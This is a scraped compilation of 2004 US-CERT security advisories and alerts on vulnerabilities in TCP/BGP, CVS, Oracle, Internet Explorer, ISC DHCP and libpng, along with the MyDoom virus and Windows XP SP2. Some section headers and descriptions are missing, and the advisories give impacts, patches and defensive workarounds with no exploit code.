Apply a patch from your vendor

Please see your vendor's statement regarding the availability of
patches, updates and mitigation strategies.

Workaround

Deploy and Use Cryptographically Secure Protocols

TCP initial sequence numbers were not designed to provide proof against
TCP connection attacks. The lack of cryptographically-strong security
options for the TCP header itself is a deficiency that technologies like
IPSec try to address. It must be
noted that in the final analysis that if an attacker has the ability to
see unencrypted TCP traffic generated from a site, that site is vulnerable
to various TCP attacks - not just those mentioned here. A stronger measure
that would aid in protecting against such TCP attacks is end-to-end
cryptographic solutions like those outlined in various IPSec documents.

The key idea with an
end-to-end cryptographic solution is that there is some secure
verification that a given packet belongs in a particular stream.
However, the communications layer at which this cryptography is
implemented will determine its effectiveness in repelling ISN based
attacks. Solutions that operate above the Transport Layer (OSI Layer 4),
such as SSL/TLS and SSH1/SSH2, only prevent arbitrary packets from being
inserted into a session. They are unable to prevent a connection reset
(denial of service) since the connection handling will be done by a lower
level protocol (i.e., TCP). On the other hand, Network Layer (OSI Layer
3) cryptographic solutions such as IPSec prevent both arbitrary packets
entering a transport-layer stream and connection resets because connection
management is directly integrated into the secure Network Layer security
model.

The solutions presented above have the desirable attribute of not
requiring any changes to the TCP protocol or implementations to be made.
Some sites may want to investigate hardening the TCP transport layer
itself. RFC2385 ("Protection of
BGP Sessions via the TCP MD5 Signature Option") and other technologies
provide options for adding cryptographic protection within the TCP header
at the cost of some potential denial of service, interoperability, and
performance issues.

Ingress filtering

Ingress filtering manages
the flow of traffic as it enters a network under your administrative
control.

You can configure your BGP routers to only accept packets on a specific
network connection.

Servers are typically the only machines that need to accept inbound
connections from the public Internet.

In the network usage policy of many sites, there are few reasons for
external hosts to initiate inbound connections to machines that provide no
public services.

Thus, ingress filtering should be performed at the border to prohibit
externally initiated inbound connections to non-authorized services.

In this fashion, the effectiveness of many intruder scanning techniques
can be dramatically reduced.

Network Isolation

Complex networks can benefit by separating data channels and control
channels, such as BGP, into different logical or physical
networks. Technologies such as VLANs, VPNs, leased links, and NAT may all
be able to contribute to separating the tranmission of control
information from the transmission of the data stream.

Egress filtering

Egress filtering manages the flow of traffic as it leaves a network
under your administrative control.

There is typically limited need for machines providing public services to
initiate outbound connections to the Internet.

In the case of BGP, only your BGP routers should be establishing
connections to your peers. Other BGP traffic generated on your network
could be a sign of an attempted attack.

Appendix A. Vendor Information

For vendor information, please see NISCC Vulnerability Advisory 236929
or US-CERT Vulnerability Note VU#415294. As
vendors report new information to US-CERT, we will update the
vulnerability note. If a particular vendor is not listed in either
the NISCC advisory, or the vulnerability, we recommend that you
contact them for their comments.

US-CERT thanks Paul Watson, Cisco Systems and NISCC for notifying us
about this problem and for helping us to construct this advisory.

Feedback can be directed to the US-CERT
Technical Staff.

Revision History

April 20, 2004: Initial release

September 9, 2005: Updated NISCC references

Systems Affected

US-CERT is tracking this issue as VU#192038. This reference number corresponds to CVE candidate CAN-2004-0396.

Impact

An authenticated client could exploit this vulnerability to execute arbitrary code on the vulnerable system with the privileges of the CVS server process. It is possible for an anonymous user with read-only access to exploit a vulnerable server as they are authenticated through the cvspserver process.

In addition to compromising the system running CVS, there is a significant secondary impact in that source code maintained in CVS repositories could be modified to include Trojan horses, backdoors, or other malicious code.

Solution

Apply Patch or Upgrade

Apply the appropriate patch or upgrade as specified by your vendor. For vendor specific responses, please see your vendor's website or Vulnerability Note VU#192038.

 

This issue has been resolved in Stable CVS Version 1.11.16 and CVS Feature Version 1.12.8.

Disable CVS Server
 

Until a patch or upgrade can be applied, consider disabling the CVS server.
 

Block or Restrict Access
 

Block or restrict access to the CVS server from untrusted hosts and networks. The CVS server typically listens on 2401/tcp, but may use another port or protocol.

Limit CVS Server Privileges

Configure CVS server to run in a restricted (chroot) environment.

Run CVS servers with the minimum set of privileges required on the host file system.

Provide separate systems for development (write) and public/anonymous (read-only) CVS access.

Host public/anonymous CVS servers on single-purpose, secured systems.

Note that some of these workarounds will only limit the scope and impact of possible attacks. Note also that anonymous (read-only) access is sufficent to exploit this vulnerability.

Appendix B. References

• http://security.e-matters.de/advisories/072004.html
   
• http://secunia.com/advisories/11641/
   
• http://www.securitytracker.com/alerts/2004/May/1010208.html
   
• http://www.netsys.com/library/papers/chrooted-ssh-cvs-server.txt

US-CERT thanks Stefan Esser of e-matters for reporting this problem and for information used to construct this advisory.

Feedback can be directed to the authors: Jason A. Rafail and Damon Morda

Revision History

• May 26, 2004: Initial release
   

  Last updated 

Systems Affected

Note that no authentication mechanisms of Oracle E-Business Suite will
mitigate exploitation of the attack.

US-CERT is tracking this issue as VU#961579.

Impact

An unauthenticated attacker could exploit this vulnerability to execute
arbitrary SQL statements on the vulnerable system with the privileges of
the Oracle server process. In addition to compromising the integrity of
the database information, this may lead to the compromise of the database
application and the underlying operating system.

Solution

Apply Patch or Upgrade

According to the Oracle Security
Alert 67, patches and related information are available from:

http://metalink.oracle.com/metalink/plsql/ml2_documents.showDocument?p_database_id=NOT&p_id=274375.1

Note that the above link requires registration to Oracle Metalink. To
register for support, please visit:

http://metalink.oracle.com/register/pls/registration.step_1

Appendix B. References

US-CERT thanks Stephen Kost of Integrigy Corporation for reporting this
problem and for information used to construct this advisory.

Feedback can be directed to the author: Jason
A. Rafail

Revision History

• June 8, 2004: Initial release
  
  June 9, 2004: Added Oracle support registration link
  

Systems Affected

This issue has been assigned CVE CAN-2004-0549.

Impact

By convincing a victim to view an HTML document (web page, HTML email), an attacker could execute script in a different security domain than the one containing the attacker's document. By causing script to be run in the Local Machine Zone, the attacker could execute arbitrary code with the privileges of the user running IE.

Publicly available exploit code exists for this vulnerability, and US-CERT has monitored incident reports that indicate that this vulnerability is being actively exploited.

Solution

Apply a patch

Microsoft has released a cumulative patch (867801) in Security Bulletin MS04-025 which addresses this issue.

Workarounds

Disable Active scripting and ActiveX controls

Disabling Active scripting and ActiveX controls in the Internet Zone (or any zone used by an attacker) appears to prevent exploitation of this vulnerability. Disabling Active scripting and ActiveX controls in the Local Machine Zone will prevent widely used payload delivery techniques from functioning. Instructions for disabling Active scripting in the Internet Zone can be found in the Malicious Web Scripts FAQ. See Microsoft Knowledge Base Article 833633 for information about securing the Local Machine Zone. Also, Service Pack 2 for Windows XP (currently at RC1) includes these and other security enhancements for IE.
 

Do not follow unsolicited links

Do not click on unsolicited URLs received in email, instant messages, web forums, or internet relay chat (IRC) channels. While this is generally good security practice, following this behavior will not prevent exploitation of this vulnerability in all cases.

Maintain updated anti-virus software

Anti-virus software with updated virus definitions may identify and prevent some exploit attempts. Variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against this vulnerability. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page.

Appendix B. References

Public incidents related to this vulnerability were reported by Rafel Ivgi. Thanks to Jelmer for further research and analysis.

Feedback can be directed to the author: Art Manion.

Revision History

• June 11, 2004: Initial release
  July 30, 2004: Added links to MS04-025
  December 3, 2004: Added reference to TA04-212A
   

  Last updated 

Systems Affected

Microsoft Windows systems

Microsoft Internet Explorer (IE) contains a flaw that could allow attackers to run programs of their choice on your computer.

Microsoft IE uses a cross-domain security model to separate content from different sources. A flaw in the model makes IE vulnerable to a cross-domain violation. Attackers could exploit this flaw to execute programs on your computer.

Resolution

Apply a patch

Micrososft has released a patch to resolve this issue. It is available from Microsoft Windows Update or Microsoft Security Bulletin MS04-025.

Disable Active scripting and ActiveX controls

Instructions for disabling Active scripting and ActiveX controls in the Internet Zone can be found in the Malicious Web Scripts FAQ.

Do not follow unsolicited links

Do not click on unsolicited URLs received in email, instant messages, web forums, or internet relay chat (IRC) channels.

Run and maintain an antivirus product

It is important that you use antivirus software and keep it up to date. Most antivirus software vendors frequently release updated information, tools, or virus databases to help detect and recover from virus infections. Many antivirus packages support automatic updates of virus definitions. US-CERT recommends using these automatic updates when possible.

References

US-CERT Technical Alert TA04-163A - <http://www.us-cert.gov/cas/techalerts/TA04-163A.html> Vulnerability Note VU#713878 - <http://www.kb.cert.org/vuls/id/713878>

Microsoft Windows Update - <http://windowsupdate.microsoft.com/>

Microsoft Security Bulletin MS04-025 - <http://www.microsoft.com/technet/security/bulletin/MS04-025.mspx>

Malicious Web Scripts FAQ - <http://www.cert.org/tech_tips/malicious_code_FAQ.html>

Protect Your PC - <http://www.microsoft.com/security/protect/default.asp>

Increase Your Browsing and E-Mail Safety - <http://www.microsoft.com/security/incident/settings.mspx>

Author: Michael Durkota

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

• June 11, 2004: Initial release
  July 30, 2004: Added patch information and links to MS04-025
   

Last updated 

Systems Affected

VU#654390 discusses C
include files for systems that do not support the bounds checking
vsnprintf() function. These files define the bounds checking vsnprintf()
to the non-bounds checking vsprintf() function. Since vsprintf() is a
function that does not check bounds, the size is discarded, creating the
potential for a buffer overflow when client data is supplied. Note that
the vsnprintf() statements are defined after the vulnerable code that is
discussed in VU#317350. Since the preconditions for this vulnerability
are similar to those required to exploit VU#317350, these buffer overflow
conditions occur sequentially in the code after the buffer overflow
vulnerability discussed in VU#317350, and these issues were discovered and
resolved at the same time, there is no known exploit path to exploit these
buffer overflow conditions caused by VU#654390. Note that VU#654390 was
discovered and exploitable once VU#317350 was resolved.

For both of the vulnerabilities, only ISC DHCP 3.0.1rc12 and ISC DHCP
3.0.1rc13 are believed to be vulnerable. VU#317350 is exploitable for all
operating systems and configurations. VU#654390 is only defined for the
following operating systems: AIX AlphaOS

All versions of ISC DCHP 3, including all snapshots, betas, and release
candidates, contain the flawed code. However, versions other than ISC DHCP
3.0.1rc12 and ISC DHCP 3.0.1rc13 discard all but the last hostname option
provided by the client, so it is not believed that these versions are
exploitable.

US-CERT is tracking these issues as VU#317350, which has been
assigned CVE CAN-2004-0460,
and VU#654390, which
has been assigned CVE CAN-2004-0461.

Impact

Exploitation of these vulnerabilities may cause a denial-of-service
condition to the DHCP daemon (DHCPD) and may permit a remote attacker to
execute arbitrary code on the system with the privileges of the DHCPD
process, typically root.

Solution

Apply patches or upgrade

These issues have been resolved in ISC DHCP 3.0.1rc14.
Your vendor may provide specific patches or updates. For vendor-specific
information, please see your vendor's site, or look for your
vendor infomation in VU#317350 and VU#654390. As
vendors report new information to US-CERT, we will update the
vulnerability notes.

Appendix A. References

• http://www.isc.org/sw/dhcp/
• http://www.kb.cert.org/vuls/id/317350
  
  
• http://www.kb.cert.org/vuls/id/654390
  

US-CERT thanks Gregory Duchemin and Solar Designer for
discovering, reporting, and resolving this vulnerability. Thanks also to
David Hankins of ISC for notifying us of this vulnerability and the
technical information provided to create this document.

Feedback can be directed to the author: Jason
A. Rafail

Revision History

• June 22, 2004: Initial release
  

Systems Affected

Systems running Internet Explorer and Microsoft Windows

Microsoft has released an important security update for Internet Explorer (IE). This update greatly reduces the impact of attacks against several vulnerabilities in IE.

Several vulnerabilities in IE could allow a malicious web site or HTML email message to install software on your computer. This software could be used to steal sensitive financial information or perform other actions. Recent incident activity has been referred to as Download.Ject, JS.Scob.Trojan, Scob, and JS.Toofeer.

Microsoft has released a security update for IE that provides increased protection against this type of attack. Note that this update may not prevent attacks in all cases.

Resolution

Install Critical Update

US-CERT recommends that users install the update from the Microsoft Download Center (KB870669) or the Windows Update web site.

Increase IE Security Settings

In addition, US-CERT strongly recommends that users modify IE security settings according to the instructions in the Malicious Web Scripts FAQ.

Further information is available from Microsoft in What You Should Know About Download.Ject.

References

US-CERT Technical Alert TA04-184A - <http://www.us-cert.gov/cas/techalerts/TA04-184A.html> US-CERT Technical Alert TA04-163A - <http://www.us-cert.gov/cas/techalerts/TA04-163A.html> US-CERT Vulnerability Note VU#713878 - <http://www.kb.cert.org/vuls/id/713878>

Malicious Web Scripts FAQ - <http://www.cert.org/tech_tips/malicious_code_FAQ.html>

What You Should Know About Download.Ject - <http://www.microsoft.com/security/incident/download_ject.mspx>

Increase Your Browsing and E-Mail Safety - <http://www.microsoft.com/security/incident/settings.mspx>

Working with Internet Explorer 6 Security Settings - <http://www.microsoft.com/windows/ie/using/howto/security/settings.mspx>

Author: Art Manion

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

Last updated 

Systems Affected

An ADO stream object contains methods for reading and writing binary files and text files. When an ADO stream object is combined with known security vulnerabilities in Internet Explorer, a Web site could execute scripts from the Local Machine zone. To help protect your computer from this kind of attack, you can manually modify your registry. 

It is important to note that there may be other ways for an attacker to write arbitrary data or to execute commands without relying on the ADODB.Stream control.

Further information is available from Microsoft in What You Should Know About Download.Ject. Instructions for securing IE and other web browsers against malicious web scripts are available in the Malicious Web Scripts FAQ.

Impact

By convincing a victim to view an HTML document (web page, HTML email), an attacker could execute script in a different security domain than the one containing the attacker's document. By causing script to be run in the Local Machine Zone, the attacker could execute arbitrary code with the privileges of the user running IE.

Recent incident activity known as Download.Ject (also JS.Scob.Trojan, Scob, JS.Toofeer) uses cross-domain vulnerabilities and the ADODB.Stream control to install software that steals sensitive financial information.

Solution

Until a complete solution is available from Microsoft, consider the following workarounds.

Disable Active scripting and ActiveX controls

Disabling Active scripting and ActiveX controls in the Internet Zone (or any zone used by an attacker) appears to prevent exploitation of this vulnerability. Disabling Active scripting and ActiveX controls in the Local Machine Zone will prevent widely used payload delivery techniques from functioning. Instructions for disabling Active scripting in the Internet Zone can be found in the Malicious Web Scripts FAQ. See Microsoft Knowledge Base Article 833633 for information about securing the Local Machine Zone. Also, Service Pack 2 for Windows XP (currently at RC2) includes these and other security enhancements for IE.
 

Do not follow unsolicited links

Do not click on unsolicited URLs received in email, instant messages, web forums, or Internet relay chat (IRC) channels. While this is generally good security practice, following this behavior will not prevent exploitation of this vulnerability in all cases. For example, a trusted web site could be compromised and modified to deliver exploit script to unsuspecting clients.

Disable ADODB.Stream ActiveX control

One way to disable the ADODB.Stream control is to apply the update from the Microsoft Download Center (KB870669) or the Windows Update web site.

The ADODB.Stream control can also be disabled by modifying the Windows registry as described in Microsoft Knowledge Base Article 870669.

Both of these methods disable ADODB.Stream by setting the kill bit for the control in the Windows registry.

Note that disabling the ADODB.Stream control does not directly address any cross-domain vulnerabilities, nor does it prevent attacks. This workaround prevents a well-known and widely used technique for writing arbitrary data to disk after a cross-domain vulnerability has been exploited. There may be other ways for an attacker to write arbitrary data or execute commands.

Maintain updated anti-virus software

Anti-virus software with updated virus definitions may identify and prevent some exploit attempts. Variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against this vulnerability. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page.

Appendix A. Vendor Information

Microsoft Corporation

Please see What You Should Know About Download.Ject and Microsoft Knowledge Base Article 870669.

Appendix B. References

Feedback can be directed to the author: Art Manion

Revision History

• July 2, 2004: Initial release
   

  Last updated 

Systems Affected

I. Description

II. Impact

An attacker may be able to control your computer if these vulnerabilities are exploited.

III. Solution

Apply a patch

Microsoft has provided the patches for these vulnerabilities in the Security Bulletins and on Windows Update.

Do not follow unsolicited links

Do not click on unsolicited links received in email, instant messages, web forums, or chat rooms. While this is generally a good security practice, following this behavior will not prevent the exploitation of these vulnerabilities in all cases.

Maintain updated anti-virus software

Anti-virus software with updated virus definitions may identify and prevent some exploit attempts. Update your anti-virus software. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page.

Appendix A. Vendor Information

Specific information about the Security bulletins are available in the Security Bulletin Summary for July, 2004 and the US-CERT Vulnerability Notes for these issues. 
 

Appendix B. References

This alert was created by Jason A. Rafail. Feedback can be directed to the Vulnerability Note authors: Jason A. Rafail, Jeffrey P. Lanza, Chad R. Dougherty, Damon G. Morda, and Art Manion.

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

• July 14, 2004: Initial release
   

Last updated 

Systems Affected

Impact

A remote, unauthenticated attacker may exploit VU#717748 to execute arbitrary code on an IIS 4.0 system.

Exploitation of VU#106324, VU#187196, VU#920060, and VU#228028, would permit a remote attacker to execute arbitrary code with the privileges of the current user. The attacker would have to convince a victim to view an HTML document (web page, HTML email) or click on a crafted URI link.

Vulnerabilities described in VU#647436 and VU#868580 permit a local user to gain elevated privileges on the local system.

Exploitation of VU#869640 can lead to a denial-of-service condition against Outlook Express.

Solution

Apply a patch

Microsoft has provided the patches for these vulnerabilities in the Security Bulletins and on Windows Update.

Do not follow unsolicited links

It is generally a good practice not to click on unsolicited URLs received in email, instant messages, web forums, or Internet relay chat (IRC) channels. However, this practice does not always prevent exploitation of these types vulnerabilities. For example, a trusted web site could be compromised and modified to deliver exploit script to unsuspecting clients.

Maintain updated anti-virus software

Anti-virus software with updated virus definitions may identify and prevent some exploit attempts, but variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against these vulnerabilities. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page.

Appendix A. Vendor Information

Specific information about these issue are available in the Security Bulletin Summary for July, 2004 and the US-CERT Vulnerability Notes. 
 

Appendix B. References

This alert was created by Jason A. Rafail. Feedback can be directed to the Vulnerability Note authors: Jason A. Rafail, Jeffrey P. Lanza, Chad R. Dougherty, Damon G. Morda, and Art Manion.

Revision History

• July 14, 2004: Initial release
   

  Last updated 

Systems Affected

A new variant of the MyDoom virus is spreading through email. In addition to infecting your computer and emailing itself to other machines, the virus may open a backdoor that could make your machine vulnerable to future attacks.

Solution

Avoid opening email attachments

Be sure you know the source of an attachment before opening it. Also remember that it is not enough that the mail originated from an email address you recognize. Many viruses spread precisely because they originate from a familiar email address.

Maintain updated anti-virus software

It is important that you use antivirus software and keep it up to date. Most antivirus software vendors frequently release updated information, tools, or virus databases to help detect and recover from virus infections. Many antivirus packages support automatic updates of virus definitions. US-CERT recommends using these automatic updates when possible.

This variant of MyDoom (known as MyDoom.M or MyDoom.O) is significant because it seems to be conducting searches on addresses it harvests from infected computers. Therefore, not only is email activity affected, response times in many popular search engines may be dramatically slower.

References

MyDoom.B Virus - <http://www.us-cert.gov/cas/alerts/SA04-028A.html> US-CERT Computer Virus Resources - <http://www.us-cert.gov/other_sources/viruses.html>

Understanding Anti-Virus Software - <http://www.us-cert.gov/cas/tips/ST04-005.html>

Using Caution with Email Attachments - <http://www.us-cert.gov/cas/tips/ST04-010.html>

Home Network Security - <http://www.cert.org/tech_tips/home_networks.html>

Home Computer Security - <http://www.cert.org/homeusers/HomeComputerSecurity/

Author: Mindi McDowell. Feedback can be directed to US-CERT -->.

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

• July 26, 2004: Initial release
   

Last updated 

Systems Affected

Microsoft has reported two vulnerabilities in the way Internet Explorer processes certain types of images. Attackers may be able to gain control of your machine if you view a malicious image, visit a web page, or open an email message that contains these images. Microsoft has also published an update to address the cross-domain vulnerability discussed in SA04-163A. This vulnerability may allow an attacker to alter a web site to point to a different location. If the attacker can convince you to visit the site, they may be able to gain control of your machine.

Solution

Apply a patch

Microsoft has issued updates that resolve this problem. Obtain the appropriate update from Windows Update

Use caution with email attachments

Never open unexpected email attachments. Before opening an attachment, save it to a disk and scan it with anti-virus software. Make sure to turn off the option to automatically download attachments.

View email messages in plain text

Email programs like Outlook and Outlook Express interpret HTML code the same way that Internet Explorer does. Attackers may be able to take advantage of that by sending malicious HTML-formatted email messages.

Maintain updated anti-virus software

It is important that you use anti-virus software and keep it up to date. Most anti-virus software vendors frequently release updated information, tools, or virus databases to help detect and recover from virus infections. Many anti-virus packages support automatic updates of virus definitions. US-CERT recommends using these automatic updates when possible.

In Microsoft Security Bulletin MS04-025, Microsoft describes a critical vulnerability in the way Internet Explorer processes .GIF and .BMP images. An attacker can use malicious images on a web page or in HTML-formatted email messages. If the attacker can convince a user to visit the web page, open the message, or otherwise view the image, the attacker may be able to gain control of the user's machine.

There is also a vulnerability in the way Internet Explorer processes scripts. An attacker may be able to take advantage of frames to redirect users to a malicious web site.

More technical information about this issue is available in TA04-212A and Microsoft Security Bulletin MS04-025.

References

• Windows Security Updates for July 2004 - <http://www.microsoft.com/security/bulletins/200407_windows.mspx>
• Multiple Remote Code Execution Vulnerabilities in Microsoft Internet Explorer - <http://www.us-cert.gov/cas/techalerts/TA04-212A.html>
• Microsoft Security Bulletin MS04-025 - <http://www.microsoft.com/technet/security/bulletin/MS04-025.mspx>
• US-CERT Computer Virus Resources - <http://www.us-cert.gov/other_sources/viruses.html>
• Understanding Anti-Virus Software - <http://www.us-cert.gov/cas/tips/ST04-005.html>
• Using Caution with Email Attachments - <http://www.us-cert.gov/cas/tips/ST04-010.html>
• Home Network Security - <http://www.cert.org/tech_tips/home_networks.html>
• Home Computer Security - <http://www.cert.org/homeusers/HomeComputerSecurity/

Author: Mindi McDowell. Feedback can be directed to the US-CERT Technical Staff.

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

• July 30, 2004: Initial release
   

Last updated 

Systems Affected

Microsoft Internet Explorer contains three vulnerabilities that may
allow arbitrary code to be executed. The privileges gained by a remote
attacker depend on the software component being attacked. For example,
a user browsing to an unsafe web page using Internet Explorer could
have code executed with the same privilege as the user. These
vulnerabilities have been reported to be relatively straightforward to
exploit; even vigilant users visiting a malicious website, viewing a
malformed image, or reading an HTML-rendered email message may be
affected.

Microsoft Security Bulletin MS04-025
describes three vulnerabilities in Internet Explorer; more detailed
information is available in the individual vulnerability
notes. Note that in addition to Internet Explorer, any applications
that use the Internet Explorer HTML rendering engine to interpret HTML
documents may present additional attack vectors for these
vulnerabilities.

VU#266926 -
Microsoft Internet Explorer contains an integer overflow in the processing
of bitmap files

An integer overflow vulnerability has been discovered in the way that
Internet Explorer processes bitmap image files. This vulnerability could
allow a remote attacker to execute arbitrary code on a vulnerable system
by introducing a specially crafted bitmap file.

(Other resources: CAN-2004-0566)

VU#685364 -
Microsoft Internet Explorer contains a double-free vulnerability in the
processing of GIF files

A double-free vulnerability has been discovered in the way that
Internet Explorer processes GIF image files. When processing GIF image
files, the routine responsible for freeing memory may attempt to free the
same memory reference more than once. Deallocating the already freed
memory can lead to memory corruption, which could cause a
denial-of-service condition or potentially be leveraged by an attacker to
execute arbitrary code.

(Other resources: CAN-2003-1048)

VU#713878 -
Microsoft Internet Explorer does not properly validate source of
redirected frame Microsoft Internet Explorer does not properly display
URLs

As previously discussed in TA-163A,
Microsoft Internet Explorer does not adequately validate the security
context of a frame that has been redirected by a web server. An
attacker could exploit this vulnerability to evaluate script in
different security domains. By causing script to be evaluated in the
Local Machine Zone, the attacker could execute arbitrary code with the
privileges of the user running Internet Explorer. For a detailed
technical analysis of this vulnerability, please see VU#713878.

(Other resources: CAN-2004-0549)

Impact

Remote attackers exploiting the vulnerabilities described above may
execute arbitrary code with the privileges of the user running the
software components being attacked (e.g., Internet
Explorer). Attackers can exploit these vulnerabilities by convincing a
victim user to visit a malicious website, view a malformed image, or
read an HTML-rendered email message. No user intervention is required
beyond viewing an attacker-supplied HTML document or image. For
further details, please see the individual vulnerability
notes.

Solution

Apply a patch from Microsoft

Apply the appropriate patch as specified by Microsoft Security
Bulletin MS04-025.
Please note that this bulletin provides a cumulative update that
replaces all previously released updates for Internet Explorer,
including those provided in MS04-004. However,
users who have applied hotfixes released after MS04-004
will need to install MS04-025. Please
see the FAQ section of Microsoft's advisory for more details.

Follow Microsoft recommendations for workarounds

Microsoft provides several workarounds for each of these vulnerabilities.
Please consult the appropriate section(s) of Microsoft Security Bulletin
MS04-025.

Appendix A. Vendor Information

This appendix contains information provided by vendors for this
advisory. As vendors report new information to US-CERT, we will update
this section and note the changes in our revision history. If a
particular vendor is not listed below, we have not received their
comments.

Microsoft

Please see Microsoft Security Bulletin MS04-025.

Appendix B. References

• US-CERT Technical Cyber Security Alert TA04-163A - http://www.us-cert.gov/cas/techalerts/TA04-163A.html
• US-CERT Cyber Security Alert TA04-212A - http://www.us-cert.gov/cas/alerts/SA04-212A.html
• US-CERT Vulnerability Note VU#266926 - http://www.kb.cert.org/vuls/id/266926
• US-CERT Vulnerability Note VU#685364 - http://www.kb.cert.org/vuls/id/685364
• US-CERT Vulnerability Note VU#713878 - http://www.kb.cert.org/vuls/id/713878
• Microsoft Security Bulletin MS04-025 - http://microsoft.com/technet/security/bulletin/MS04-025.asp
• Microsoft KB Article 867801 - http://support.microsoft.com/?id=867801
• Microsoft KB Article 871260 - http://support.microsoft.com/?id=871260
• Microsoft KB Article 875345 - http://support.microsoft.com/?id=875345
• CVE CAN-2004-0566 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0566
• CVE CAN-2003-1048 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-1048
• CVE CAN-2004-0549 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0549

Feedback can be directed to the US-CERT
Technical Staff.

Revision History

• Jul 30, 2004: Initial release
  

Systems Affected

Several vulnerabilities have been reported in the libpng library. Any application or system that uses this library may be affected. More detailed information is available in the individual vulnerability notes:

VU#388984 - libpng fails to properly check length of transparency chunk (tRNS) data

A buffer overflow vulnerability has been discovered in the way that libpng processes PNG images. This vulnerability could allow a remote attacker to execute arbitrary code on a vulnerable system by introducing a specially crafted PNG image.

(Other references: CAN-2004-0597)

VU#236656 - libpng png_handle_iCCP() NULL pointer dereference

Under some circumstances, a null pointer may be dereferenced during a memory allocation in the png_handle_iCCP() function. As a result, a PNG image with particular characteristics could cause the affected application to crash. Similar errors are reported to exist in other locations within libpng.

(Other references: CAN-2004-0598)

VU#160448 - libpng integer overflow in image height processing

An integer overflow error exists in the handling of PNG image height within the png_read_png() function. As a result, a PNG image with excessive height may cause an integer overflow during a memory allocation operation, which could cause the affected application to crash.

(Other references: CAN-2004-0599)

VU#477512 - libpng png_handle_sPLT() integer overflow

A potential integer overflow error exists during a memory allocation operation within the png_handle_sPLT() function. It is unclear what practical impact this error might have on applications using libpng.

(Other references: CAN-2004-0599)

VU#817368 - libpng png_handle_sBIT() performs insufficient bounds checking

A potentially insufficient bounds check exists within the png_handle_sBIT() function. A similar error exists in the png_handle_hIST() function. While the code that contains these errors could potentially permit a buffer overflow to occur during a subsequent png_crc_read() operation, it is unclear what practical vulnerabilities it might present in applications using libpng.

(Other references: CAN-2004-0597)

VU#286464 - libpng contains integer overflows in progressive display image reading

The libpng library provides the ability to display interlaced, or progressive display, PNG images. A number of potential integer overflow errors exist in libpng's handling of such progressive display images. While the code that contains these errors introduces dangerous conditions, it is unclear what practical vulnerabilities it might present in applications using libpng.

(Other references: CAN-2004-0599)

Impact

In the case of VU#388984, an attacker with the ability to introduce a malformed PNG image to a vulnerable application could cause the application to crash or could potentially execute arbitrary code with the privileges of the user running the affected application.

In the case of VU#236656 and VU#160448, an attacker with the ability to introduce a malformed PNG image to a vulnerable application could cause the application to crash.

The impacts of the other vulnerabilities described above are unclear.

A remote attacker could cause an application to crash or potentially execute arbitrary code by convincing a victim user to visit a malicious web site or view an email message containing a malformed image.

Solution

Apply a patch or upgrade

Apply the appropriate patch or upgrade as specified by your vendor. For
vendor-specific responses, please see your vendor's web site or the individual vulnerability
notes.

For individuals who rely on the original source of libpng, these issues
have been resolved in libpng version 1.2.6rc1 (release
candidate 1).

Appendix A. References

US-CERT thanks Chris Evans for researching and reporting these vulnerabilities.

Feedback can be directed to the US-CERT Technical Staff.

Revision History

Systems Affected

Microsoft Windows XP Service Pack 2 (SP2) significantly improves your computer's defenses against attacks and vulnerabilities.

Recommendation

To help protect your Windows XP computer from attacks and vulnerabilities, install Service Pack 2 using Windows Update or Automatic Updates.

Note: Service Pack 2 makes significant changes to improve the security of Windows XP, and these changes may have negative effects on some programs and Windows functionality. Before you install Service Pack 2, back up your important data and consult your computer manufacturer's web site for information about Service Pack 2.

Description

Windows XP Service Pack 2 is a major operating system update that contains a number of new security updates and features. Like other Microsoft Service Packs, Windows XP Service Pack 2 also includes previously released security fixes and other operating system updates. Following is a summary of the new security updates and features in Service Pack 2: Windows Firewall

Windows Firewall is enabled in almost all configurations, blocking network traffic coming into your computer. Blocking this traffic helps to protect you from worms and other malicious code that spread via the Internet.

Internet Explorer Local Machine Zone Lockdown

New settings for Internet Explorer disable the execution of ActiveX controls and Active scripting in the Local Machine Zone. This protects you from attacks and vulnerabilties such as Download.Ject.

Additional Internet Explorer Security Changes

Internet Explorer now includes a pop-up blocker, additional window restrictions, and changes in MIME type handling that better defend against social engineering and "phishing" attacks. A browser add-on management interface provides a way to identify and disable programs that run as part of Internet Explorer. Enhanced protection against security zone elevation and object caching vulnerabilities helps defend against malicious web scripts.

Email Handling Technologies

Outlook Express now supports the ability to read and compose messages in plain text and to block external HTML content such as "web bugs." Security checks are now performed in a more consistent way to help prevent the execution of malicious attachments.

Security Center

The Security Center "...provides a central location for changing security settings, learning more about security, and ensuring that [your] computer is up to date, with the essential security settings that are recommended by Microsoft."

Automatic Updates

The update services and automatic update feature of Windows XP have been improved. US-CERT highly recommends that you enable Automatic Updates.

Data Execution Prevention

Memory protection helps prevent attackers from executing code on your computer.

References

• Windows XP Service Pack 2 - <http://www.microsoft.com/windowsxp/sp2/>
• What to Know Before You Download and Install Windows XP Service Pack 2 - <http://www.microsoft.com/windowsxp/sp2/sp2_whattoknow.mspx>
• Get the Latest Updates and Information from Your PC Manufacturer Before Installing Windows XP Service Pack 2 - <http://www.microsoft.com/windowsxp/sp2/oemlinks.mspx>
• Backing up your computer files - <http://www.microsoft.com/athome/security/update/backup.mspx>
• Programs that are known to experience a loss of functionality when they run on a Windows XP Service Pack 2-based computer - <http://support.microsoft.com/?id=884130>

Authors: Art Manion and Mindi McDowell. Feedback can be directed to the US-CERT Technical Staff

.

Copyright 2004 Carnegie Mellon University.
Terms of use

Revision History

• August 30, 2004: Initial release
  
  January 10, 2005: Updated IE links
  

Systems Affected

Several vulnerabilities exist in the Oracle Database Server, Application
Server, and Enterprise Manager software. The most serious vulnerabilities
could allow a remote attacker to execute arbitrary code on an affected
system. Oracle's Collaboration Suite and E-Business Suite 11i contain the
vulnerable software and are affected as well.

